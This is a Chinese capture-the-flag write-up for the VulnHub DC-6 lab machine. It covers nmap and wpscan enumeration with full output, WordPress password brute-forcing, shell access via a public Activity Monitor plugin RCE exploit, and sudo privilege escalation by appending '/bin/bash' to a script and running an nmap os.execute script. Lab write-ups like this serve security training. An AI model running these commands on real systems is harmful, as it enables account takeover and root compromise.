首页 > 其他分享 >vulnhub_DC_6_wp

vulnhub_DC_6_wp

时间:2023-08-02 19:24:21浏览次数:53  
标签:00 http DC Detection vulnhub https wp Found wordy

前言

靶机地址:https://www.vulnhub.com/entry/dc-6,315/
靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip
攻击机地址:192.168.20.135

靶机探测

nmap -sn 192.168.20.0/24
image

192.168.20.149为靶机地址

端口扫描

nmap -p- 192.168.20.149
image

详细信息扫描

nmap -A -p22,80 192.168.20.149

点击查看扫描结果
┌──(root㉿kali)-[~]
└─# nmap -A -p22,80 192.168.20.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:38 EDT
Nmap scan report for 192.168.20.149
Host is up (0.00055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e52cece01b694eb7b037dbe087f5ffd (RSA)
|   256 3c836571dd73d723f8830de346bcb56f (ECDSA)
|_  256 41899e85ae305be08fa4687106b415ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:78:3C:86 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.55 ms 192.168.20.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds

wordy域名修改hosts文件
image

nmap漏洞扫描

nmap -p22,80 --script=vuln 192.168.20.149

点击查看扫描结果
┌──(root㉿kali)-[~]
└─# nmap -p22,80 --script=vuln 192.168.20.149        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:47 EDT
Nmap scan report for wordy (192.168.20.149)
Host is up (0.00047s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /: WordPress version: 5.1.1
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
| http-wordpress-users: 
| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 00:0C:29:78:3C:86 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds

web信息收集

访问页面
image
查看一番网页源码注释没有发现有用信息

whatweb信息收集

image
先上wpscan扫一波

wpscan扫描

wpscan --url http://wordy/

点击查看扫描结果
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug  2 05:50:58 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Aug  2 05:51:02 2023
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 42.704 KB
[+] Data Received: 20.427 MB
[+] Memory used: 262.402 MB
[+] Elapsed time: 00:00:03

WordPress version 5.1.1
扫一下用户
wpscan wordy -e --url http://wordy/

点击查看扫描结果
┌──(root㉿kali)-[~]
└─# wpscan wordy -e --url http://wordy/
Type application/netcdf is already registered as a variant of application/netcdf.
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug  2 05:57:27 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:00 <=====================================> (570 / 570) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:02 <===================================> (2575 / 2575) 100.00% Time: 00:00:02

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:00 <============================================> (71 / 71) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:00 <=================================> (100 / 100) 100.00% Time: 00:00:00

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Aug  2 05:57:36 2023
[+] Requests Done: 3484
[+] Cached Requests: 40
[+] Data Sent: 904.909 KB
[+] Data Received: 789.675 KB
[+] Memory used: 286.426 MB
[+] Elapsed time: 00:00:09

可以发现扫描出来了5个用户名
image

搜索相关漏洞

WordPress version 5.1.1
searchsploit WordPress 5.1.1

image

暂时没有可以直接利用的

暴力破解

用户有了,密码就用提示中的
image

image
cat /usr/share/wordlists/rockyou.txt | grep k01 > pass.txt
生成字典
image

wpscan --url wordy -U user.txt -P pass.txt

image

username:mark
password:helpdesk01

登录后台

后台地址:http://wordy/wp-login.php

image

image

插件漏洞

Activity monitor这个插件存在rce漏洞
image

直接用50110.py
直接运行填写信息即可

image

ls -alhR /home
查看隐私文件
image
image
发现账号密码
graham - GSo7isUM1D4
ssh登录
image

提权

sudo -l
查看该用户所能执行的文件
image
查看该脚本
image
切换成jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
image

image
查看当前用户可以用的命令
image
发现有nmap
nmap提权
echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
image
提权成功

flag

flag如下
image

标签:00,http,DC,Detection,vulnhub,https,wp,Found,wordy
From: https://www.cnblogs.com/zy4024/p/vulnhub_DC_6_wp.html

相关文章

  • WPS AI震撼亮相世界人工智能大会:金山办公引领智能办公未来!
    金山办公于7月6日在2023世界人工智能大会上展示了其基于大语言模型的智能办公助手WPS AI,并同时推出了WPSAI官网(ai.wps.cn)。同时,他们还开启了招募智能办公体验官的通道,其中WPS Office个人用户和WPS 365企业用户均可参与申请。WPS AI是国内协同办公赛道首款类ChatGPT的应用程序,它......
  • docker 中使用 pywpsrpc
    一般如果使用带桌面环境的docker,比如dorowu/ubuntu-desktop-lxde-vnc,然后安装wps后,使用https://github.com/timxx/pywpsrpc是没啥问题的,需要注意的是wps第一次打开后,需要同意EULA,然后按照https://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847中提到的......
  • bugku_文件上传_wp
    bugku_文件上传payload点击查看payloadPOST/index.phpHTTP/1.1Host:114.67.175.224:16103Content-Length:308Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://114.67.175.224:16103Content-Type:Multipart/form-data;boundary=----WebKitFo......
  • TeleporterAndClosedOff
    TeleporterandClosedoff思路首先考虑从起点和终点分别bfs(终点的bfs定义为从其他所有点到他,即在反向图上),预处理出两个距离,可以在\(O(nm)\)的复杂度内求出。然后考虑怎样可以不经过\(i\)。必然是存在一个\(j\),使得\(j+k(1\lek\lem)>i\),且存在边\(j->j+k\)。每次对......
  • 邮件钓鱼之sendcloud邮件伪造
    0x00整体流程找一个未被加入到黑名单的可提供SMTP协议发件的网站,如smtp2go,sendcloud安装邮件伪造工具swaks制作钓鱼邮件内容eml文件及多种情况发送伪造邮件0x01邮件服务sendcloud本文以sendcloud为例,地址:https://www.sendcloud.net首先进行注册,注册后找到我们需要的东......
  • 使用轻量级 CDC debezium-server-databend 构建实时数据同步
    作者:韩山杰DatabendCloud研发工程师https://github.com/hantmacDebeziumServerDatabend是一个基于DebeziumEngine自研的轻量级CDC项目,用于实时捕获数据库更改并将其作为事件流传递最终将数据写入目标数据库Databend。它提供了一种简单的方式来监视和捕获关系型数......
  • [SWPUCTF 2021 新生赛]ez_unserialize
    [SWPUCTF2021新生赛]ez_unserialize题目来源:nssctf题目类型:web涉及考点:PHP反序列化1.检查一下源代码,发现Disallow:猜测大概有robots.txt,扫下后台看看:额,flag.php都扫出来了,但是进不去,还是老老实实看robots吧:2.看到题目了,开始代码审计<?phperror_reporting(0);show_......
  • 考研数据结构——每日一题[WPL]
    3766.二叉树的带权路径长度二叉树的带权路径长度(WPL)是二叉树中所有叶结点的带权路径长度之和,也就是每个叶结点的深度与权值之积的总和。给定一棵二叉树T,请你计算并输出它的WPL。注意,根节点的深度为0。样例输入:二叉树[8,12,2,null,null,6,4,null,null,null,nul......
  • 数字逻辑综合 DC 相关理解(四)
    参考《专用集成电路设计实用教程》1.多时钟同步设计时序约束以下图为例,所有的时钟都来自同一个时钟源,所以是它们是同步设计。可以看到要综合的模块输入只有CLKC,其他的时钟只作用于综合模块端口,我们需要对端口加以约束。首先约束作为综合模块的主时钟CLKC,约束语句......
  • WPF使用FluentValidation进行表单验证
    WPF使用FluentValidation进行表单验证.net版本:6.0使用的NuGet包FluentValidation:11.6.0MaterialDesignThemes:4.9.0Prism.DryIoc:8.1.97在WPF里验证表单使用的是INotifyDataErrorInfo接口,这个接口长这样publicinterfaceINotifyDataErrorInfo{boolHasErrors{get;......